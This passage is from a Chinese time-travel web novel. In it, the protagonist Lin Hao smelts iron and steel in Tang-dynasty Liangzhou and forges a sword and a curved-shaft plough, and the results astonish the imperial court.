鼓风机旁,张铁柱亲自监督着改进后的水车联动装置。新的设计保证了风力的恒定输出,再也不会出现上次那种间歇性停顿的问题。
最让人意外的是马周。
这位一向只会拿笔杆子的监察御史,现在正拿着一本厚厚的记录册,在各个区域之间来回奔走。
林浩“强行”任命他为“质量监督与记录总管”,负责核对每一批原料的重量和配比,并监督温度记录。
马周起初还有些不情愿,觉得这样有失身份。但当他发现这套流程的精密和严谨后,立刻就被征服了。
“第十二批矿石,大粒三十斤,中粒二十斤,小粒十斤,配比精确!”马周大声汇报着,声音都有些沙哑了。
林浩满意地点点头。有了马周这个“较真”的家伙把关,数据的准确性得到了最大程度的保障。
太阳西斜,第二次点火的时间到了。
林浩没有搞任何虚头巴脑的仪式,他跳上指挥台,对着所有工匠大声喊道:
“弟兄们!”
现场瞬间安静下来,所有人都看向他。
“我们已经失败过一次!”林浩的声音在夕阳下显得格外响亮,“我们比任何人都清楚这条路上所有的坑!”
工匠们的眼神开始发亮。
“这一次,我们不是在赌运气!”林浩挥舞着手臂,“我们是在验证我们的计算!相信科学,相信我们自己!”
“好!”张铁柱第一个大吼出声。
“相信科学!”李三炮也跟着喊。
“相信我们自己!”所有工匠齐声高呼,声音震天响。
马周站在人群中,看着这些平日里被人瞧不起的工匠,此刻眼中燃烧着如此炽烈的光芒,心中涌起一股说不出的感动。
“点火!”
随着林浩一声令下,高炉再次被点燃。
这一次的轰鸣声比上次更加沉稳有力,就像一头苏醒的巨龙在低吼。
火焰冲天而起,将半边天空都映得通红。
所有环节都严格按照新制定的SOP进行。
每个人都知道自己该干什么,什么时候干,干到什么程度。
最大的变化是温度监控。
林浩制作了十几根不同金属配比的“测温棒”,并制定了一套详细的“比色温卡”。
每根测温棒的熔点都不一样,从八百度到两千度,梯度分布。
王师傅不再说“很红”、“特别红”这种模糊词汇,而是紧张地对着色卡大声汇报:
“大人!五号测温棒开始软化!炉温达到一千二百度!”
“大人!七号测温棒熔断!炉温达到一千三百五十度!”
每一次汇报,都让现场的气氛更加紧张。
马周拿着记录册,一丝不苟地记录着每一个数据。
他的手心全是汗,但眼神却前所未有的专注。
他发现了一个奇妙的现象:在这种科学的流程下,人心中的侥幸和不安被彻底驱散了,取而代之的是一种对正确和规则的信赖。
这种感觉,就像在朝堂上严格按照律法办事一样,让人心安理得。
炉火燃烧了整整一天一夜。
第二天傍晚,当夕阳再次西下的时候,王师傅的声音响彻全场:
“大人!九号测温棒熔断!炉温达到一千五百五十度!”
林浩通过观察孔往里看去,只见炉内一片刺眼的亮白色光芒,热浪扑面而来,几乎要把眉毛都烤焦了。
他知道,时候到了。
林浩缓缓走下指挥台,所有人的目光都跟着他移动。
他走到高炉前,拿起那根最粗的钢钎。这根钢钎足有碗口粗,需要三个人才能抬得动。
“张铁柱,李三炮。”林浩回头看着这两个最忠诚的助手,“这次,我们一起开炉,一起见证结果!”
两人二话不说,一左一右站在林浩身边,握住了钢钎。
整个工地瞬间安静下来。所有工匠都屏住了呼吸,连马周都停下了手中的笔。
这一次,没有人再议论鬼神,没有人再嘀咕风水。
所有人的目光都充满了对科学的敬畏和期待。
“准备好了吗?”林浩问道。
“准备好了!”张铁柱和李三炮异口同声。
“凿!”
三人合力,钢钎狠狠地撞在出铁口上。
只听“轰”的一声闷响,封死的出铁口被瞬间冲开!
下一刻,一道比太阳还要璀璨夺目的金色洪流,带着毁天灭地的气势,从出铁口喷涌而出!
那不是黏稠的炉渣!
那是真正的、滚烫的、流动的液体!
是铁水!
“我的天哪!”张铁柱瞪大了眼睛,“真的是铁水!”
“成功了!真的成功了!”李三炮激动得声音都变了调。
铁水奔涌着流入预先挖好的沙土模具中,将整个夜空都映照得一片通明。
炽热的气浪扑面而来,连站在十几步外的人都能感受到那股灼人的热度。
工匠们发出了震天的欢呼!
有人喜极而泣,泪水在火光中闪闪发亮。
有人激动地拥抱在一起,完全不顾身份地位。
张铁柱和李三炮扔掉钢钎,像孩子一样跳了起来,嘴里不停地喊着:“成了!成了!我们成了!”
马周站在原地,看着那道流淌的金色希望,手中的笔“啪嗒”一声掉在地上。
他喃喃自语:“成了……真的成了!他……他真的把石头,烧成了金水!”
第24章:炼铁成钢!
整个工地沸腾了。
工匠们围着高炉又蹦又跳,有人甚至开始唱起了家乡的小调。
那种发自内心的狂欢,比过年还要热闹。
“哈哈哈!老子这辈子值了!”
“咱们真的炼出铁水了!”
“林大人就是神仙下凡!”
就在所有人都沉浸在成功的喜悦中时,林浩却悄悄走到张铁柱和李三炮身边,拍了拍他们的肩膀。
“跟我来。”
他的表情出奇地严肃。
张铁柱和李三炮还在兴奋中,但看到林浩的脸色,立刻收起了笑容,跟着他走到一旁。
“大人,怎么了?”张铁柱有些不解,“咱们不是成功了吗?”
林浩看了看四周,确认没人能听到,这才压低声音说:“别高兴得太早。”
“啊?”李三炮瞪大眼睛,“大人,这铁水不是挺好的吗?”
“这只是开始。”林浩的语气很沉重,“我们得到的只是铁,但凉州需要的,是钢!”
两人面面相觑。
“大人,铁和钢有什么区别吗?”张铁柱挠挠头,“都是硬邦邦的金属啊。”
林浩叹了口气:“铁太软,钢才硬。用铁做的农具,用不了几天就卷刃。用铁做的兵器,一碰就断。”
“那……那怎么办?”李三炮急了。
“继续干!”林浩拍拍他们的肩膀,“今晚就开始建炒钢炉!”
正说着,马周走了过来。
这位监察御史的脸上还带着震撼的表情,显然还没从刚才的冲击中完全回过神来。
“林大人。”马周的声音有些颤抖,“铁已是神物,为何还不足够?”
林浩看了看马周,又看了看远处还在狂欢的工匠们,做了个手势:“马先生,您跟我来。”
两人走到高炉后面,这里相对安静一些。
林浩指着远处的农田,又指了指更远处的边境线,声音低沉:“马先生,您以为我搞这些,只是为了好玩吗?”
马周摇摇头。
“凉州看似平稳,实则危机四伏。”
林浩的表情变得严峻,“去年秋收勉强糊口,但人口在增长。今年若不大力提升农具效率,明年必有饥荒。”
马周的脸色变了。
“还有边境的吐谷浑。”
林浩继续说,“看似被打退,但他们随时会卷土重来。我们现有的兵器,根本无法形成代差优势。”
“代差优势?”马周不解。
“就是碾压式的装备优势。”
林浩解释,“他们用青铜刀,我们用钢刀。他们穿皮甲,我们穿钢甲。这样才能以一当十。”
马周倒吸一口凉气。
“无论是造出更多更好的农具,还是打造更锋利的武器、更坚固的铠甲,都需要一样东西——优质的钢材。”
林浩的眼神变得锐利,“我们没有时间庆祝,我们是在为活下去而赛跑。”
这番话让马周肃然起敬。
他终于明白了,林浩想的从来不是长安的封赏,而是这片土地的生死存亡。
他是一个纯粹的建设者。
“林大人……”马周的声音有些哽咽,“下官明白了。”
林浩拍拍他的肩膀:“走吧,该干活了。”
两人回到人群中。
工匠们还在兴奋地议论着刚才的成功,但林浩一出现,现场立刻安静下来。
“弟兄们!”林浩跳上指挥台,“刚才的成功,只是万里长征第一步!”
工匠们面面相觑。
“我们炼出的是生铁,但生铁太脆,不能直接用。”林浩拿出一张新的图纸,“现在,我们要建炒钢炉,把生铁炼成钢!”
“炒钢?”张铁柱好奇,“钢还能炒的?”
“当然能炒!”林浩展开图纸,“就像炒菜一样,把生铁放进炉子里,用大火炒,炒出杂质,留下精华!”
工匠们哄堂大笑。
“哈哈,炒钢!这名字有意思!”
“林大人,那咱们是不是还得放点盐和醋?”
“放你个头!”林浩也笑了,“不过还真得放点东西——石灰石!”
他开始详细解释炒钢法的原理。
虽然工匠们听不太懂那些化学反应,但他们能理解林浩的比喻:就像淘米一样,把好的留下,把坏的洗掉。
“现在分工!”林浩立刻开始分配任务,“张铁柱,你带人搭炒钢炉的炉体!李三炮,你负责准备石灰石和木炭!王师傅,你制作新的测温工具!”
“是!”
工匠们的情绪瞬间从庆祝切换到工作状态。
刚才成功的喜悦,反而激发了他们更大的干劲。既然能炼出铁,那炼出钢也不是不可能!
马周主动走到林浩身边:“林大人,我能做什么?”
“您还是老本行。”林浩递给他一本新的记录册,“记录炒钢的全过程。这套流程,以后要传给更多的人。”
马周郑重地接过记录册。
他要将这套全新的、高效的生产流程完整地记录下来。不仅是为了凉州,更是为了整个大唐。
夜幕降临,但工地上依然灯火通明。
工匠们干劲十足,仅仅用了三个时辰,就把炒钢炉搭建完成。
这座炉子比高炉小得多,但结构更加精巧。炉膛呈椭圆形,便于搅拌。炉壁上开了几个观察孔,可以随时查看炉内情况。
“生铁锭准备好了吗?”林浩问道。
“准备好了!”张铁柱指着一旁的铁锭,“刚才浇铸的,还有点烫手呢!”
“石灰石呢?”
“也准备好了!”李三炮拍拍胸脯,“按您说的配比,一比三!”
“好!”林浩撸起袖子,“开炉!”
第一批生铁锭被送入炉中。
橘红色的火焰立刻将铁锭包围,发出“嗞嗞”的声响。
林浩亲自拿起长柄铁耙,开始搅拌炉内的铁水。
这是个技术活,需要掌握好力度和节奏。太轻了搅不动,太重了会溅出铁花。
汗水很快浸透了他的衣衫,但他的动作依然稳定有力。
“大人,您歇会儿,我来!”张铁柱心疼地说。
“不行!”林浩头也不抬,“第一炉必须我亲自来,你们在旁边看着学!”
工匠们围成一圈,目不转睛地盯着林浩的每一个动作。
搅拌的手法,加料的时机,火候的控制,每一个细节都不能错过。
马周站在一旁,笔尖飞舞,详细记录着每一个步骤。
“加石灰石!”林浩大喊。
李三炮立刻将准备好的石灰石倒入炉中。
“嗞啦”一声,炉内冒起大量白烟。
“继续搅拌!”
林浩的动作更加用力,铁耙在炉内画着圆圈。
渐渐地,炉内的铁水颜色开始发生变化。从暗红变成亮红,从亮红变成金黄。
“温度够了!”王师傅大喊,“可以出炉了!”
林浩停下搅拌,用铁钳夹起一块炽热的钢锭。
这块钢锭比刚才的生铁更加明亮,表面光滑如镜,散发着淡淡的银光。
第25章:项目验收,横刀出世
林浩拿着还在冒着热气的钢锭,脸上露出了满意的笑容。
他转身看向科学院最好的铁匠王师傅:“王师傅,现在,我们要把理论变成现实。用它打造两件样品。”
王师傅接过钢锭,端详着这块金属。
钢锭在火光的照耀下闪闪发亮,质地细腻均匀,和他以前见过的任何铁料都不一样。
“大人,这钢……真的这么神奇?”王师傅有些将信将疑。
林浩没有直接回答,而是从怀里掏出两张详细的图纸。
王师傅凑近一看,两张图纸上分别画着一把横刀和一架曲辕犁。
图纸画得极其精细,每个部件的尺寸、角度都标注得清清楚楚。
“这横刀的弧度……”王师傅皱着眉头,“和咱们平时打的刀不太一样啊。”
“当然不一样。”林浩指着图纸上的细节,“你看这个弧度,这个厚度,还有这个血槽的设计。每一处都经过精确计算,为的就是发挥钢材的最大威力。”
王师傅的几个徒弟也围了过来,看着图纸议论纷纷:
“师父,这犁的形状也好特别。”
“是啊,为什么要做成这样的弯曲?”
林浩耐心解释:“传统的犁是直的,翻土费力,牛累人也累。这个曲辕犁,利用了杠杆原理,同样的力气能翻更多的土。”
“杠杆原理?”王师傅一脸茫然。
“简单说就是省力。”林浩摆摆手,“你们先按图纸打,打完了自然就明白。”
马周站在一旁,看着这些图纸,心中的震撼一波接一波。
他是读书人,能看出这些设计的精妙之处。无论是横刀的力学结构,还是曲辕犁的机械原理,都完全超越了这个时代的认知水平。
“林大人,”马周忍不住问道,“这些设计,您是从哪里学来的?”
林浩瞄了他一眼:“书上看的。”
“什么书?”
“《机械工程学》。”
马周愣了愣:“哪位先贤的著作?怎么从未听过?”
“你没听过的书多了去了。”
林浩摆摆手,不想在这个话题上纠缠,“赶紧开工吧,时间不等人。”
王师傅和徒弟们立刻行动起来。
他们先将钢锭重新加热,然后开始锻打成型。
第一件要打的是横刀。
钢锭在炉火中烧得通红,王师傅抡起大锤,一下一下地敲打着。
每一锤下去,都能听到清脆的金属撞击声。
“这钢的韧性真好!”王师傅一边锤打一边赞叹,“比以前用的铁料强太多了!”
“师父,您感受到了吗?”一个徒弟兴奋地说,“这钢特别听话,想让它变成什么形状就变成什么形状!”
随着锻打的进行,一把刀的雏形逐渐显现。
弯曲的刀身,尖锐的刀尖,还有那条标志性的血槽,完全按照图纸的要求成型。
接下来是开刃。
这是最考验技术的环节。
王师傅屏住呼吸,用最细的锉刀一点一点地修整刀刃。
钢材的质地让他惊喜不已——不但硬度够,而且韧性好,开出来的刃口锋利无比。
“大人!”王师傅激动地喊道,“这刀,绝对是神兵利器!”
林浩走过去看了看,满意地点点头:“先别急着夸,还有曲辕犁呢。”
制作曲辕犁比横刀复杂得多。
犁铧、犁壁、犁辕,每个部件都有严格的角度要求。
王师傅和徒弟们分工合作,有人负责犁铧,有人负责犁壁,有人负责组装。
整个锻造过程持续了一天一夜。
期间,工匠们轮流休息,但火炉从未熄灭。
林浩也一直守在旁边,随时指导着制作要点。
马周更是目不转睛地盯着整个过程,生怕错过任何细节。
他要把这套完整的制作工艺记录下来,以备日后推广。
终于,当第二天黄昏时分,两件“作品”完成了。
横刀寒光闪闪,刀身上反射着夕阳的光芒,整把刀透着一股凌厉的杀气。
曲辕犁造型奇特,弯曲的犁辕和锋利的犁铧完美结合,虽然形状古怪,但给人一种说不出的美感。
“好了,”林浩拍拍手,“现在该验收了。”
他转向马周,用着项目经理般的正式语调:“马先生,作为我们项目的主要投资人,现在邀请您对第一期成果进行验收。”
马周心中一暖。
投资人……这个新奇的称呼却让他莫名感动。
他郑重地点点头:“林大人,请开始吧。”
林浩首先拿起横刀,对王师傅说:“拿件军中最好的铠甲来。”
很快,一件精工制作的铁甲被抬了过来。
这是凉州军中最好的装备,用上等铁料打造,厚实坚固。
林浄举起横刀,对准铁甲的胸甲部分。
“各位看好了。”
他双手握刀,猛然劈下!
只听“嗤啦”一声脆响,横刀如同切豆腐一般,将铁甲从中间一分为二!
在场所有人都倒抽了一口凉气。
“我的天!这也太锋利了!”
“这还是铁甲吗?在这刀面前跟纸糊的一样!”
马周更是激动得浑身颤抖。
他知道这意味着什么——装备上的绝对优势!
有了这样的武器,大唐的军队将在战场上无往不利!
“现在试犁。”林浩放下横刀,走向曲辕犁。
工匠们牵来一头牛,将曲辕犁套在牛身上。旁边还准备了一架传统的直辕犁作为对比。
“张铁柱,你用新犁。李三炮,你用老犁。看看谁耕得快。”
两人各自扶犁,同时开始耕作。
奇迹出现了!
张铁柱扶着曲辕犁,轻松地跟在牛后面,犁铧在土地里平稳前进,翻出的土块整齐均匀。而且速度明显比传统犁快了一倍不止!
反观李三炮那边,扶着直辕犁费力地在田里挣扎,牛累得呼哧呼哧喘气,他自己也累得满头大汗。
“这……这怎么可能?”李三炮停下来擦汗,“同样的牛,同样的人,为什么差这么多?”
“因为科学。”林浩淡淡地说,“杠杆原理的运用,让力的传递更加高效。”
围观的工匠们彻底服了。
“林大人真是神人!”
“这犁要是推广开来,咱们凉州的粮食产量得翻番!”
“有了这刀这犁,还怕什么敌人,还愁什么饥荒!”
林浩看着众人兴奋的表情,心中也很满意。
他走到马周面前,将横刀和一把小型的曲辕犁模型递给他:“马先生,这是您投资的第一期项目的成果。请您验收。”
马周双手颤抖着接过这两件“样品”。
他知道,自己手中拿的不仅仅是两件工具,而是足以改变大唐国运的战略武器!
“林大人……”马周的声音有些哽咽,“我必须告诉您一个真相。”
林浩挑了挑眉毛:“哦?”
“我不是普通商人。”马周深吸一口气,“我是朝廷派来的监察御史马周,奉圣旨来处决您的。”
现场瞬间安静下来。
所有工匠都惊恐地看着马周,不敢相信这个和气的“投资人”竟然是朝廷的杀手。
林浩却表现得很平静,甚至还打了个哈欠:“然后呢?会影响我睡觉吗?”
马周被他这个反应弄愣了:“然后……我要将这些成果呈交给陛下,为您请功!”
林浩耸耸肩,一副事不关己的样子:“那是您的自由。我只是向我的投资人汇报项目成果。至于您如何处置这份报告,与我无关。”
马周急了:“林大人!您难道不明白吗?这些东西的价值足以让您封侯拜相!”
“哦。”林浩依然兴趣缺缺,“所以呢?”
马周看着他这副淡然的表情,心中既佩服又着急:“您或许不在乎功名,但凉州需要朝廷的支持!这份报告,就是说服陛下的最强武器!”
林浩点点头:“有道理。那马先生你加油,我去安排曲辕犁的量产了。”
说完,他转身就走,对着工匠们大声喊道:
“弟兄们!马先生要回长安了,咱们得抓紧时间!争取在春耕前,让每个农户都用上新犁!”
工匠们立刻响应,纷纷散去准备生产。
马周看着林浩那“事了拂衣去,深藏身与名”的背影,心中的敬佩更加深厚。
这个人,真的只在乎凉州百姓的生活,对个人的功名利禄毫不在意。
这样的品格,这样的胸怀,比什么忠君报国的大道理都更让人信服。
什么长孙无忌,什么政治斗争,在这些能够改变国运的神器面前,都是渣渣!
第26章:神兵开路,谁敢拦我?
凉州城门外,黄沙漫天。
信使赵武背着沉重的包裹,翻身上马。
包裹里装着的,是足以改变大唐国运的“证据”——那把削铁如泥的横刀,以及详细记录了炼钢工艺的奏折。
“老赵,一路小心。”林浩拍了拍他的肩膀,“记住,遇到麻烦别硬刚,能绕路就绕路。”
赵武咧嘴一笑:“大人放心,我跑了十几年驿道,什么鬼门关没见过?”
马周站在一旁,神情凝重:“赵兄,这趟差使不比往常。长孙无忌的手伸得很长,沿途必有阻碍。”
“怕个球!”赵武拍了拍腰间的钢刀,“有这把神兵在,谁敢拦我?”
林浩摆摆手:“行了,天快黑了,赶紧出发。记住,安全第一,命比什么都重要。”
赵武抱拳一礼,策马而去。马蹄声渐远,很快消失在夕阳西下的地平线上。
马周望着他远去的背影,忧心忡忡:“林大人,您说他能顺利到达长安吗?”
“能不能到,看命。”林浩耸耸肩,“咱们该做的都做了,剩下的交给老天爷。”
此时,长安城内,长孙无忌府邸。
灯火通明的书房里,长孙无忌正在品茶。
对面坐着他的心腹谋士崔明德。
“大人,陛下今日在朝堂上说不许再议,是不是......”崔明德试探着问道。
长孙无忌放下茶杯,嘴角露出一抹冷笑:“你以为陛下真的相信那个林浩能搞出什么名堂?”
“那陛下为何......”
“陛下这是起了好奇心,想看看那林浩到底能玩出什么花样。”
长孙无忌悠然自得,“无妨,就让他玩。他玩得越大,摔得就越惨。到时候,不用我们动手,陛下也会亲自收拾他。”
崔明德恍然大悟:“大人高明!”
“传话给沿途我们的人。”
长孙无忌端起茶杯,轻抿一口,“不必为难信使,但也......不必提供任何方便。”
崔明德会心一笑。
这招真是阴险至极。
表面上遵守规则,实际上处处设卡。
既不落把柄,又能拖慢信使的脚步。
“属下明白!”
与此同时,距离长安还有三日路程的官道上,一支华丽的车队正在缓缓前行。
车厢内,李丽质正在翻阅刚从长安送来的密报。
烛光摇曳,将她清丽的面容映得时明时暗。
密报上详细记录了朝堂上关于凉州奏折的争辩。
当她看到“流水线女工”“知识就是力量”这些词汇时,柳眉紧皱。
“简直是歪理邪说!”她愤然将密报摔在小几上,“竟敢蛊惑人心到这种地步!”
侍女小翠吓了一跳:“公主息怒......”
“我不怒,我是痛心!”
李丽质拿起从小诵读的《论语》,指着上面的字句,“你看,‘君子喻于义,小人喻于利’。圣人早就说过,治国要以德服人,以义感人。”
“可这个林浩呢?什么‘计件薪酬’,什么‘多劳多得’,通篇都是利益诱导!这哪里是治国之道?分明就是商贾手段!”
小翠小心翼翼地问:“那马周大人为何会......”
“马周被蒙蔽了!”
李丽质断然道,“他本是忠臣,却被那林浩的花言巧语迷惑。满朝文武皆醉我独醒,看来只有我能看清真相了!”
她的眼中燃烧着一种悲壮的使命感,像是要拯救天下苍生的女英雄。
此刻,赵武已经跑了两天两夜,来到了被士族势力重重控制的某州县。
驿站里,驿丞看到风尘仆仆的赵武,脸上堆起虚假的笑容:“哎呀,这不是凉州来的差官吗?辛苦辛苦!”
“废话少说,我要换马!”赵武疲惫不堪,但语气依然强硬。
驿丞搓着手,一脸为难:“差官有所不知,最近边关军情紧急,所有好马都被征用了。现在只剩下几匹......嗯,年纪大点的马。”
赵武扫了一眼马厩,里面确实只有几匹瘦弱的老马,连站都站不稳。
“你耍我?”赵武怒火中烧。
“不敢不敢!”驿丞连忙摆手,“实在是没办法啊!要不,差官先休息一夜,明天我再想想办法?”
赵武明白了。
这是故意刁难!
他掏出钦差令牌,厉声道:“看清楚了!钦差令牌!”
驿丞瞄了一眼,不屑地撇撇嘴:“钦差令牌我认得,但军令如山,早有公文在此。差官若是不信,可以去州府告状。”
赵武气得浑身发抖。
去州府?那得耽误多少时间?
他深吸一口气,强压怒火。
忽然,他看到驿站门外拴着一匹膘肥体壮的好马,正是驿丞的坐骑。
“多少钱?”赵武指着那匹马。
“啊?”驿丞愣了。
“这匹马,多少钱?”赵武从怀中掏出一锭金子,“砰”地一声砸在桌上,“我买了!”
驿丞眼珠子都快掉出来了。
那可是一锭金子啊!够他几年的俸禄了!
但转念一想,这马可是长孙大人的人特意交代要看好的......
“这......这马不卖!”驿丞咬牙道。
“不卖是吧?”赵武冷笑一声,直接走向门外。
“你要干什么?”驿丞急了。
赵武二话不说,解开缰绳就要牵马。
“大胆!抢马贼!”驿丞大喊,“来人啊!抓贼啊!”
几个驿卒听到喊声,纷纷围了上来。
赵武“锵”地一声拔出腰间的钢刀。
刀锋在夕阳下闪着令人心悸的寒光,那股锐利的杀气让所有人都倒吸一口凉气。
“奉钦差之命,送军国重器回京!”
赵武的声音如寒冰般冷厉,“阻拦者,以谋逆论处!”
这把刀,可是林浩亲自打造的神兵利器!
光是看着就让人胆寒,更别说那股扑面而来的杀意。
驿卒们被这气势震慑,竟然不敢上前。
驿丞更是吓得腿软。
他见过不少钦差,但从没见过这么狠的!
赵武翻身上马,居高临下地看着众人:“金子留下了,马我牵走了。谁有意见,尽管去长安告状!”
说完,他策马而去,留下一地尘土和目瞪口呆的众人。
驿丞看着桌上的金子,又看看远去的马影,欲哭无泪。
钱是收了,但马也没了。
关键是,他怎么跟长孙大人的人交代?
另一边,李丽质的车队也遇到了麻烦。
关中大旱,沿途到处都是流民。
道路被堵得水泄不通,车队走走停停,速度慢如蜗牛。
李丽质掀开车帘,看着那些面黄肌瘦的流民,心中涌起巨大的愤怒。
这些百姓流离失所,饥饿难耐,全都是因为有林浩这样的蛀虫!
他们这些官员只知道享乐,不顾百姓死活,才造成了如此惨状!
“公主,前面路太堵了,咱们绕道吧?”护卫队长请示道。
“不用绕道!”李丽质坚决地说,“我要亲眼看看,这些贪官污吏都把百姓害成什么样子了!”
她越看越愤怒,越想越坚定。
这次去凉州,不仅要揭穿林浩的真面目,更要为这些苦难的百姓讨回公道!
几天后,遍体鳞伤的赵武终于望见了长安城的城墙。
他的战马已经累得口吐白沫,他自己也是强弩之末。但包裹还在,使命还在!
“长安!老子终于到了!”赵武仰天长啸。
而就在同一时刻,李丽质的车队也终于踏上了那条传说中的“水泥路”。
第27章:钢刀出鞘,震动朝堂!
太极殿内,晨光透过雕龙画凤的窗棂洒在金砖上,早朝正进行到一半。
气氛依旧诡异得要命。
关于凉州的话题被皇帝一句“不许再议”压着,但满朝文武心里都跟明镜似的。
长孙无忌时不时用挑衅的眼神瞥向房玄龄,眼神里写满了“看你还能装到什么时候”。
房玄龄倒是淡定,闭目养神,压根不搭理这些幼稚的挑衅。
“陛下,臣奏请增设河东道巡抚一职............”
某个不知名的小官正在汇报例行公事,声音单调得能催眠。
李世民心不在焉地听着,手指在龙椅扶手上轻敲。
突然!
“报——”
一声震天的呐喊从殿外传来,打破了这沉闷的气氛。
“凉州钦差信使,携军国重器求见陛下!”
话音未落,殿门“砰”地一声被撞开!
一个浑身浴血、衣衫破烂的汉子踉跄着冲进大殿。
他的脸上全是血污和尘土,头发乱得跟鸡窝一样,身上的衣服更是千疮百孔。
但他的眼神,却亮得吓人!
“陛下!”
赵武用尽最后一丝力气,单膝跪地,从背上卸下那个沉重的油布包,声音嘶哑但异常坚定:“物证在此!”
说完这四个字,他眼前一黑,直挺挺地倒在了金砖地面上。
李世民猛地站起身,龙袍摆动:“快!传太医!”
两名太监慌忙上前,将昏迷的赵武抬到一旁。
另外两名太监则小心翼翼地抬起那个巨大的油布包,放在殿中央。
所有人的目光都聚焦在这个其貌不扬的包裹上。
长孙无忌心里咯噔一下,但表面依然镇定。
他冷笑着想:能有什么好东西?无非是想搞些噱头罢了。
“打开。”李世民沉声道。
太监小心地解开绳索,层层油布被剥开。
三样东西呈现在众人面前。
一把造型奇特的黑铁刀,刀身微弯,刀柄处缠着布条,看起来朴实无华。
一副同样奇特的铁犁,弯曲的犁辕和锋利的犁铧组合在一起,形状前所未见。
还有一块毫不起眼的铁疙瘩,黑不溜秋的,看不出有什么特别。
长孙无忌见状,第一个站了出来。
他哈哈大笑,声音在大殿里回荡:“陛下,臣还以为是何等重器呢!”
“一把破刀,一副农具,一块废铁。马周这是黔驴技穷了吧?想用这些破烂来糊弄陛下和满朝文武?”
朝堂上立刻响起一阵哄笑。
“哈哈哈,军国重器?就这?”
“我家厨房的菜刀都比这强!”
“马周这次真是昏了头了!”
士族官员们纷纷附和,笑声此起彼伏,整个太极殿都快变成菜市场了。
李世民的脸色也有些难看。
他想起万言书中那些天花乱坠的描述,心里也开始打鼓。
难道真的是马周被蒙蔽了?难道林浩真的只会吹牛?
但转念一想,那个信使赵武浑身浴血的样子,还有他眼中那种坚定不移的光芒......
“呈上来。”
李世民压下心中的怒火,沉声下令。
太监小心翼翼地将那把横刀递到李世民手中。
刀一入手,李世民就感觉不对劲了。
这把刀比寻常横刀要重一些,但重心却好得出奇,握在手中有种莫名的协调感。
他用手指轻弹刀身。
“嗡——”
一声清越悠长的嗡鸣响起,音质纯净得让人心颤。
这声音绝不是普通铁器能发出的!
李世民的眼神瞬间凌厉起来。
他转向身边的禁军统领李君羡:“君羡,取你的佩刀来。”
李君羡心中一凛,立刻解下自己的宝刀。
这把刀可是皇帝御赐之物,用的是最好的钢铁,削铁如泥,堪称神兵!
“当庭对斩!”
李世民一声令下。
长孙无忌等人脸上露出看好戏的笑容。
开什么玩笑?
李君羡的御赐宝刀可是经过无数次实战考验的,区区一把凉州土刀,岂能相提并论?
李君羡手持御赐宝刀,与一名手持凉州钢刀的太监相对而立。
“斩!”
李世民一声令下!
“当——”
一声惊天巨响!
火星四溅,照亮了每个人震惊的面孔!
然后......
“咔嚓!”
李君羡手中的御赐宝刀,竟然从中间断成了两截!
断口光滑如镜,切面整齐得让人不敢相信!
而那把凉州钢刀,刃口连一个豁口都没有!
全殿死寂!
连蚊子飞过的声音都能听见!
长孙无忌的笑容僵在脸上,嘴巴张得能塞进一个鸭蛋。
他的眼珠子瞪得跟铜铃一样,满脸都是极致的惊愕。
所有大臣都腾地一下站了起来,不敢相信自己的眼睛。
刚才还在哄笑的声音戛然而止,整个大殿静得可怕。
李世民亲自走下龙椅,弯腰捡起那半截断刀。
他用手抚摸着那光滑如镜的切口,手指都开始颤抖了。
这种切口的整齐程度,简直超越了他的认知!
这哪里是刀砍的痕迹?简直就像是......像是用什么神奇的力量直接切开的!
“这......这怎么可能?”
李君羡结结巴巴,手里拿着剩下的半截刀柄,整个人都懵了。
他跟随皇帝征战多年,见过无数神兵利器,但从没见过如此恐怖的锋利程度!
李世民深吸一口气,努力让自己冷静下来。
他看向那副奇形怪状的铁犁:“传工部尚书段纶上殿!”
段纶颤颤巍巍地走上前来。
这位精通农具制造的老臣子,一看到曲辕犁就眼前一亮。
他仔细检查着犁铧的角度、犁辕的弧度,还有各个部件的连接方式,越看越激动。
“陛下!”段纶激动得语无伦次,“此乃......此乃农家神器啊!”
“这个弧度的设计,能够大大减少犁地时的阻力!这个犁铧的角度,能让翻土效率提高一倍不止!”
“若能推广此犁,大唐数年内便可无饥馑之忧!”
段纶的话如同一颗重磅炸弹,在朝堂上炸开了花。
饥馑......这个词对于任何一个王朝都是致命的。
能够解决粮食问题的技术,其价值简直无法估量!
李世民缓缓回到龙椅上,沉默良久。
他的目光扫过每一个大臣的脸,从房玄龄的淡定微笑,到杜如晦的若有所思,再到其他官员们的震惊茫然。
最后,他的目光落在了面如死灰的长孙无忌身上。
长孙无忌此刻恨不得找个地缝钻进去。
刚才他笑得有多大声,现在就有多尴尬。
什么破刀、废铁、糊弄人......这些话就像无数个巴掌,狠狠抽在他脸上。
李世民一字一顿地开口了:“传朕旨意!”
“凉州刺史林浩,献国有功......不,是盖世奇功!”
“擢升其为凉州都督,总管凉州军政要务!”
“封......泾阳县侯!”
“令其好生治理,所需钱粮器物,朝廷尽力支持!”
“马周......忠于国事,明辨是非,擢升为御史中丞!”
“任何人,不得再非议凉州之事!”
“退朝!”
第28章:这不过是林浩粉饰太平的把戏
“哐当——哐当——”
车轮碾过坑洼不平的土路,整个车厢剧烈地摇晃着。
侍女小环脸色发白,一只手死死抓着车壁,另一只手护着小几上的茶杯,可里面的水还是不停地溅出来,打湿了名贵的波斯地毯。
“公主,这路也太难走了。”
小环忍不住抱怨,“比长安城外的野地还颠簸,奴婢的骨头都要散架了。”
李丽质掀开车帘的一角,向外望去。
入目皆是荒凉。
关中大旱的影响一直蔓延到这里,官道两旁的田地干裂,一片枯黄,偶尔有几个衣衫褴褛的农人有气无力地坐在田埂上,眼神空洞。
她放下车帘,清丽的脸庞上罩着一层寒霜。
“此地是何处?”
“回公主,快到凉州地界了。”护卫队长在车外恭敬地回答。
“我记得此地的刺史,是户部推荐的能员,素有勤勉之名。”
李丽质的声音冷了下去,“他如此勤政,治下百姓尚且如此困苦。那个林浩,整日只知弄些歪理邪说,懒散怠政,可想而知,他治下的凉州百姓,正过着何等水深火热的日子!”
一想到林浩在奏折里写的那些“计件薪酬”、“流水线女工”,李丽质心中的怒火就越烧越旺。
商贾逐利之术,岂能为治国大道!
简直是败坏人心,动摇国本!
这次去凉州,她不仅要揭穿这个骗子,更要为凉州百姓,为大唐天下,肃清此等奸佞!
就在这时,车队前方传来一阵骚动。
“过了界碑了!前面就是凉州地界!”
几乎就在车轮压过那块刻着“凉州”二字的石碑的瞬间,奇迹发生了。
“哐当——”
最后一声剧烈的颠簸之后,整个世界都安静了下来。
所有的摇晃、震动、噪音,全部消失了。
“啊!”
